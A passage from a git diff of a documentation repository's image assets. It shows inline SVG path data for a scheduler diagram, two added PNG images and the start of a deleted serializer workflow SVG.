0H.609c0-.813.282-1.629.844-2.453.57-.82 1.629-1.86 3.172-3.11.938-.75 1.773-1.539 2.516-2.375.75-.832 1.125-1.664 1.125-2.5 0-.726-.258-1.328-.766-1.796-.512-.47-1.156-.704-1.938-.704-.792 0-1.453.247-1.984.735-.531.48-.805 1.2-.812 2.156L.953-10.25c.113-1.332.594-2.352 1.438-3.063.843-.718 1.91-1.078 3.203-1.078 1.406 0 2.5.391 3.281 1.172.79.781 1.188 1.719 1.188 2.813 0 .918-.336 1.851-1 2.797-.657.937-1.97 2.195-3.938 3.765-1.043.836-1.73 1.547-2.063 2.14h7.032Zm0 0" style="stroke:none"/></symbol></defs><path d="M0 0h642v542H0z" style="fill:#fff;fill-opacity:1;stroke:none"/><path d="M26 21h32v27H26Zm0 0" style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M65.57 221h83.239v63.707H65.57ZM65.57 227v-6c-3.312 0-6 2.688-6 6ZM148.809 227h6c0-3.313-2.684-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M59.57 227h95.239v51.707H59.57ZM65.57 278.707h-6c0 3.313 2.688 6 6 6ZM148.809 278.707v6c3.316 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M29.229 32h4.161M29.229 35.185h4.161M29.229 32a.3.3 0 0 0-.3.3M33.69 32.3a.3.3 0 0 0-.3-.3M28.929 32.3v2.585M33.69 32.3v2.585M28.929 34.885a.3.3 0 0 0 .3.3M33.39 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="74.926" y="261.852"/><use xlink:href="#b" x="88.266" y="261.852"/><use xlink:href="#c" x="99.398" y="261.852"/><use xlink:href="#d" x="110.531" y="261.852"/><use xlink:href="#b" x="121.664" y="261.852"/><use xlink:href="#e" x="132.797" y="261.852"/></g><path d="M207 221h228v63.707H207ZM207 227v-6c-3.313 0-6 2.688-6 6ZM435 227h6c0-3.313-2.688-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M201 227h240v51.707H201ZM207 278.707h-6c0 3.313 2.688 6 6 6ZM435 278.707v6c3.313 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M36.3 32h11.4M36.3 35.185h11.4M36.3 32a.3.3 0 0 0-.3.3M48 32.3a.3.3 0 0 0-.3-.3M36 32.3v2.585M48 32.3v2.585M36 34.885a.3.3 0 0 0 .3.3M47.7 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#f" x="303.773" y="261.852"/><use xlink:href="#g" x="317.113" y="261.852"/><use xlink:href="#h" x="328.246" y="261.852"/></g><path d="M169.555 441h123.238v63.707H169.555ZM169.555 447v-6c-3.313 0-6 2.688-6 6ZM292.793 447h6c0-3.313-2.688-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M163.555 447h135.238v51.707H163.555ZM169.555 498.707h-6c0 3.313 2.687 6 6 6ZM292.793 498.707v6c3.312 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M34.428 43h6.162M34.428 46.185h6.162M34.428 43a.3.3 0 0 0-.3.3M40.89 43.3a.3.3 0 0 0-.3-.3M34.128 43.3v2.585M40.89 43.3v2.585M34.128 45.885a.3.3 0 0 0 .3.3M40.59 46.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#i" x="196.133" y="481.852"/><use xlink:href="#j" x="210.586" y="481.852"/><use xlink:href="#c" x="221.719" y="481.852"/><use xlink:href="#d" x="232.852" y="481.852"/><use xlink:href="#k" x="243.984" y="481.852"/><use xlink:href="#b" x="248.438" y="481.852"/><use xlink:href="#e" x="259.57" y="481.852"/></g><path d="M31.31 29.793v1.657" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m31.06 31.45.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M33.69 33.593h1.76" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m35.45 33.843.5-.25-.5-.25Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M48 33.593h2.45" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m50.45 33.843.5-.25-.5-.25Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M32.31 23.854a1 1 0 1 1-2 0 1 1 0 0 1 2 0" style="fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M28.674 27.15h5.27v2.589c-1.054-.432-1.58-.432-2.634 0-1.055.431-1.581.431-2.636 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="58.227" y="154.457"/><use xlink:href="#c" x="69.359" y="154.457"/><use xlink:href="#l" x="80.492" y="154.457"/><use xlink:href="#b" x="90.492" y="154.457"/><use xlink:href="#k" x="101.625" y="154.457"/><use xlink:href="#m" x="106.078" y="154.457"/><use xlink:href="#n" x="117.211" y="154.457"/><use xlink:href="#b" x="128.344" y="154.457"/><use xlink:href="#o" x="139.477" y="154.457"/><use xlink:href="#p" x="145.043" y="154.457"/></g><path d="M507 221h83.238v63.707H507ZM507 227v-6c-3.313 0-6 2.688-6 6ZM590.238 227h6c0-3.313-2.687-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M501 227h95.238v51.707H501ZM507 278.707h-6c0 3.313 2.688 6 6 6ZM590.238 278.707v6c3.313 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M51.3 32h4.162M51.3 35.185h4.162M51.3 32a.3.3 0 0 0-.3.3M55.762 32.3a.3.3 0 0 0-.3-.3M51 32.3v2.585M55.762 32.3v2.585M51 34.885a.3.3 0 0 0 .3.3M55.462 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#q" x="509.148" y="261.852"/><use xlink:href="#b" x="523.602" y="261.852"/><use xlink:href="#r" x="534.734" y="261.852"/><use xlink:href="#b" x="544.734" y="261.852"/><use xlink:href="#s" x="555.867" y="261.852"/><use xlink:href="#l" x="560.32" y="261.852"/><use xlink:href="#b" x="570.32" y="261.852"/><use xlink:href="#e" x="581.453" y="261.852"/></g><path d="M31.31 24.854V26.6" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m31.06 26.6.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M346.148 441h123.239v63.707H346.148ZM346.148 447v-6c-3.312 0-6 2.688-6 6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M469.387 447h6c0-3.313-2.688-6-6-6ZM340.148 447h135.239v51.707H340.148ZM346.148 498.707h-6c0 3.313 2.688 6 6 6ZM469.387 498.707v6c3.312 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M43.257 43h6.162M43.257 46.185h6.162M43.257 43a.3.3 0 0 0-.3.3M49.72 43.3a.3.3 0 0 0-.3-.3M42.957 43.3v2.585M49.72 43.3v2.585M42.957 45.885a.3.3 0 0 0 .3.3M49.42 46.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#t" x="358.801" y="481.852"/><use xlink:href="#n" x="372.141" y="481.852"/><use xlink:href="#n" x="383.273" y="481.852"/><use xlink:href="#k" x="394.406" y="481.852"/><use xlink:href="#s" x="398.859" y="481.852"/><use xlink:href="#r" x="403.313" y="481.852"/><use xlink:href="#j" x="413.313" y="481.852"/><use xlink:href="#u" x="424.445" y="481.852"/><use xlink:href="#s" x="430.012" y="481.852"/><use xlink:href="#m" x="434.465" y="481.852"/><use xlink:href="#c" x="445.598" y="481.852"/></g><path d="m46.338 43-.017-7.265" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m46.571 35.735-.251-.5-.249.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m37.51 35.185-.001 7.265" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m37.259 42.45.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M53.398 30.325 53.38 32" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m53.648 30.327-.245-.502-.255.497Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M54.415 23.832a1 1 0 1 1-2 0 1 1 0 0 1 2 0" style="fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M50.78 27.128h5.27v2.589c-1.054-.432-1.581-.432-2.635 0-1.054.431-1.581.431-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="500.332" y="154.02"/><use xlink:href="#c" x="511.465" y="154.02"/><use xlink:href="#l" x="522.598" y="154.02"/><use xlink:href="#b" x="532.598" y="154.02"/><use xlink:href="#k" x="543.73" y="154.02"/><use xlink:href="#m" x="548.184" y="154.02"/><use xlink:href="#n" x="559.316" y="154.02"/><use xlink:href="#b" x="570.449" y="154.02"/><use xlink:href="#o" x="581.582" y="154.02"/><use xlink:href="#v" x="587.148" y="154.02"/></g><path d="M53.415 25.382v1.746" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m53.665 25.382-.25-.5-.25.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M27 36.83h30" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-dasharray:.1,.1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M34.865 38.213h5.27v2.59c-1.054-.432-1.581-.432-2.635 0-1.054.43-1.581.43-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="182.035" y="375.723"/><use xlink:href="#c" x="193.168" y="375.723"/><use xlink:href="#l" x="204.301" y="375.723"/><use xlink:href="#b" x="214.301" y="375.723"/><use xlink:href="#k" x="225.434" y="375.723"/><use xlink:href="#m" x="229.887" y="375.723"/><use xlink:href="#n" x="241.02" y="375.723"/><use xlink:href="#b" x="252.152" y="375.723"/><use xlink:href="#o" x="263.285" y="375.723"/><use xlink:href="#p" x="268.852" y="375.723"/></g><path d="M43.652 38.213h5.27v2.59c-1.054-.432-1.581-.432-2.635 0-1.054.43-1.58.43-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="357.777" y="375.723"/><use xlink:href="#c" x="368.91" y="375.723"/><use xlink:href="#l" x="380.043" y="375.723"/><use xlink:href="#b" x="390.043" y="375.723"/><use xlink:href="#k" x="401.176" y="375.723"/><use xlink:href="#m" x="405.629" y="375.723"/><use xlink:href="#n" x="416.762" y="375.723"/><use xlink:href="#b" x="427.895" y="375.723"/><use xlink:href="#o" x="439.027" y="375.723"/><use xlink:href="#v" x="444.594" y="375.723"/></g></svg> diff --git a/_images/components/scheduler/generate_consume.png b/_images/components/scheduler/generate_consume.png new file mode 100644 index 00000000000..269281266a5 Binary files /dev/null and b/_images/components/scheduler/generate_consume.png differ diff --git a/_images/components/scheduler/scheduler_cycle.png b/_images/components/scheduler/scheduler_cycle.png new file mode 100644 index 00000000000..18addb37d91 Binary files /dev/null and b/_images/components/scheduler/scheduler_cycle.png differ diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/components/serializer/serializer_workflow.svg deleted file mode 100644 index f3906506878..00000000000 --- a/_images/components/serializer/serializer_workflow.svg +++ /dev/null @@ -1 +0,0 @@ -<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" viewBox="0 0 482 402"><defs><symbol overflow="visible" id="a"><path d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="b"><path d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="c"><path d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="d"><path d="M3.656-3.547l.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="G"><path d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="H"><path d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="I"><path d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="J"><path d="M1.422-10h1.437V0H1.422zm-.266-3.047c0-.312.086-.566.266-.765a.926.926 0 0 1 .719-.313.96.96 0 0 1 .718.297c.196.187.297.45.297.781 0 .324-.101.578-.297.766-.187.18-.43.265-.718.265a.971.971 0 0 1-.72-.28c-.179-.188-.265-.438-.265-.75zm0 0"/></symbol><symbol overflow="visible" id="K"><path d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="L"><path d="M.64-1.297l3.72-6.547.702-.86H.641V-10h5.843v1.297l-3.75 6.61-.671.796h4.421V0H.641zm0 0"/></symbol><symbol overflow="visible" id="e"><path d="M1.734-18.906h8.391v1.875H3.75v6.656h5.938V-8.5H3.75V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="f"><path d="M1-6.75c0-2.426.414-4.21 1.25-5.36.844-1.144 2.035-1.718 3.578-1.718 1.656 0 2.875.59 3.656 1.765.79 1.168 1.188 2.938 1.188 5.313 0 2.45-.43 4.242-1.281 5.375C8.547-.238 7.359.328 5.828.328c-1.656 0-2.875-.582-3.656-1.75C1.39-2.598 1-4.375 1-6.75zm2.031 0c0 .793.047 1.512.14 2.156a6.22 6.22 0 0 0 .485 1.672c.227.469.52.836.875 1.094.364.262.797.39 1.297.39.938 0 1.64-.414 2.11-1.25.468-.832.703-2.187.703-4.062 0-.77-.055-1.484-.157-2.14-.093-.657-.257-1.22-.484-1.688-.219-.469-.512-.832-.875-1.094-.355-.258-.79-.39-1.297-.39-.918 0-1.617.421-2.094 1.265-.468.844-.703 2.195-.703 4.047zm0 0"/></symbol><symbol overflow="visible" id="g"><path d="M1.594-13.5h1.375l.36 1.438h.077c.25-.532.578-.942.985-1.235.406-.3.894-.453 1.468-.453.414 0 .883.086 1.407.25l-.375 1.969c-.47-.156-.887-.235-1.25-.235-.575 0-1.043.168-1.407.5-.355.336-.59.778-.703 1.329V0H1.594zm0 0"/></symbol><symbol overflow="visible" id="h"><path d="M7.906 0v-8.016c0-.718-.023-1.332-.062-1.843-.043-.52-.137-.942-.282-1.266-.148-.32-.343-.555-.593-.703-.25-.156-.586-.235-1-.235-.617 0-1.137.243-1.563.72a3.942 3.942 0 0 0-.875 1.624V0H1.594v-13.5h1.375l.36 1.438h.077c.375-.532.82-.958 1.344-1.282.52-.32 1.188-.484 2-.484.688 0 1.25.152 1.688.453.437.293.785.82 1.046 1.578a3.58 3.58 0 0 1 1.375-1.484 3.8 3.8 0 0 1 2-.547c.594 0 1.098.078 1.516.234.426.156.77.43 1.031.813.258.386.453.902.578 1.547.125.636.188 1.437.188 2.406V0h-1.938v-8.594c0-1.164-.117-2.035-.343-2.61-.23-.57-.746-.858-1.547-.858-.688 0-1.235.214-1.64.64-.407.418-.688.985-.845 1.703V0zm0 0"/></symbol><symbol overflow="visible" id="i"><path d="M1.453-12.688c.52-.32 1.156-.57 1.906-.75a9.687 9.687 0 0 1 2.36-.28c.758 0 1.367.116 1.828.343.457.219.816.527 1.078.922.258.387.43.828.516 1.328.082.492.125 1.008.125 1.547 0 1.074-.028 2.125-.079 3.156a69.316 69.316 0 0 0-.062 2.906c0 .688.02 1.325.063 1.907.05.586.14 1.136.265 1.656H7.97L7.5-1.531h-.11c-.261.46-.656.86-1.187 1.203C5.68.016 4.984.188 4.11.188c-.98 0-1.78-.336-2.406-1.016-.617-.676-.922-1.61-.922-2.797 0-.77.13-1.414.39-1.938.259-.519.63-.94 1.11-1.265.477-.32 1.047-.55 1.703-.688.657-.132 1.391-.203 2.204-.203h.53c.188 0 .38.012.579.032.05-.563.078-1.063.078-1.5 0-1.02-.156-1.739-.469-2.157-.304-.414-.86-.625-1.672-.625-.5 0-1.046.078-1.64.235-.594.156-1.09.351-1.485.578zm5.86 6.532c-.18-.02-.36-.032-.547-.032-.18-.007-.356-.015-.532-.015-.43 0-.851.039-1.265.11-.418.062-.79.187-1.11.374-.324.18-.578.422-.765.735-.188.304-.281.687-.281 1.156 0 .719.171 1.277.515 1.672.352.398.813.594 1.375.594.75 0 1.332-.176 1.75-.532.414-.363.703-.765.86-1.203zm0 0"/></symbol><symbol overflow="visible" id="j"><path d="M.25-13.5h1.64v-2.672l1.938-.625v3.297H6.75v1.75H3.828v8.047c0 .793.094 1.367.281 1.719.196.355.508.53.938.53.363 0 .676-.038.937-.124.258-.082.54-.188.844-.313l.375 1.547a6.27 6.27 0 0 1-1.312.469 6.308 6.308 0 0 1-1.485.172C3.5.297 2.852.004 2.47-.578 2.082-1.16 1.89-2.11 1.89-3.422v-8.328H.25zm0 0"/></symbol><symbol overflow="visible" id="l"><path d="M4.938 5.938c-.68-.868-1.25-1.82-1.72-2.86A21.13 21.13 0 0 1 2.095-.094a24.082 24.082 0 0 1-.61-3.297 28.174 28.174 0 0 1-.187-3.171c0-.989.062-2.032.187-3.125.125-1.102.329-2.208.61-3.313.289-1.102.676-2.188 1.156-3.25A15.565 15.565 0 0 1 5-19.219l1.203.719a15.878 15.878 0 0 0-1.422 2.89 22.89 22.89 0 0 0-.906 3.079 25.88 25.88 0 0 0-.5 3.078 31.401 31.401 0 0 0-.14 2.89c0 .868.05 1.82.156 2.86.113 1.031.289 2.07.53 3.11.25 1.038.563 2.054.938 3.046.375.988.82 1.879 1.344 2.672zm0 0"/></symbol><symbol overflow="visible" id="m"><path d="M2.516-18.906H4.53v14.672c0 1.468-.242 2.59-.718 3.359-.47.762-1.297 1.14-2.485 1.14C1.035.266.688.228.281.157-.125.082-.453-.02-.703-.156l.437-1.766c.18.117.375.2.594.25.227.055.461.078.703.078.32 0 .582-.07.782-.218.195-.145.347-.348.453-.61.113-.258.18-.57.203-.937.031-.375.047-.79.047-1.25zm0 0"/></symbol><symbol overflow="visible" id="n"><path d="M1.594-2.516c.343.243.82.465 1.437.672.625.211 1.332.313 2.125.313 1.008 0 1.828-.25 2.453-.75.633-.5.954-1.274.954-2.328 0-.707-.184-1.32-.547-1.844a6.82 6.82 0 0 0-1.344-1.438 22.34 22.34 0 0 0-1.75-1.296 14.354 14.354 0 0 1-1.734-1.407 6.939 6.939 0 0 1-1.36-1.765c-.355-.664-.531-1.47-.531-2.407 0-1.507.453-2.629 1.36-3.359.905-.727 2.085-1.094 3.546-1.094.906 0 1.707.086 2.406.25.707.157 1.274.36 1.704.61l-.641 1.78c-.324-.194-.79-.374-1.39-.53-.606-.164-1.305-.25-2.095-.25-.98 0-1.703.242-2.171.718-.461.47-.688 1.07-.688 1.797 0 .625.176 1.184.531 1.672.364.48.813.938 1.344 1.375.54.43 1.125.867 1.75 1.313.625.437 1.203.93 1.734 1.468.54.543.989 1.157 1.344 1.844.364.68.547 1.484.547 2.422 0 1.586-.469 2.828-1.406 3.734C8.242-.117 6.926.328 5.219.328 4.133.328 3.242.227 2.547.031 1.859-.164 1.305-.39.89-.64zm0 0"/></symbol><symbol overflow="visible" id="o"><path d="M1.156-9.453c0-3.195.508-5.625 1.532-7.281 1.03-1.657 2.597-2.485 4.703-2.485 1.132 0 2.097.23 2.89.688.79.46 1.43 1.11 1.922 1.953.5.844.863 1.871 1.094 3.078.238 1.21.36 2.559.36 4.047 0 3.21-.516 5.64-1.548 7.297C11.08-.5 9.504.328 7.391.328c-1.118 0-2.07-.23-2.86-.687-.793-.457-1.437-1.11-1.937-1.954-.5-.851-.867-1.878-1.094-3.078-.23-1.207-.344-2.562-.344-4.062zm2.14 0c0 1.062.071 2.074.22 3.031.156.95.394 1.79.718 2.516.32.719.743 1.297 1.266 1.734.531.43 1.16.64 1.89.64 1.352 0 2.38-.644 3.079-1.937.707-1.3 1.062-3.297 1.062-5.984 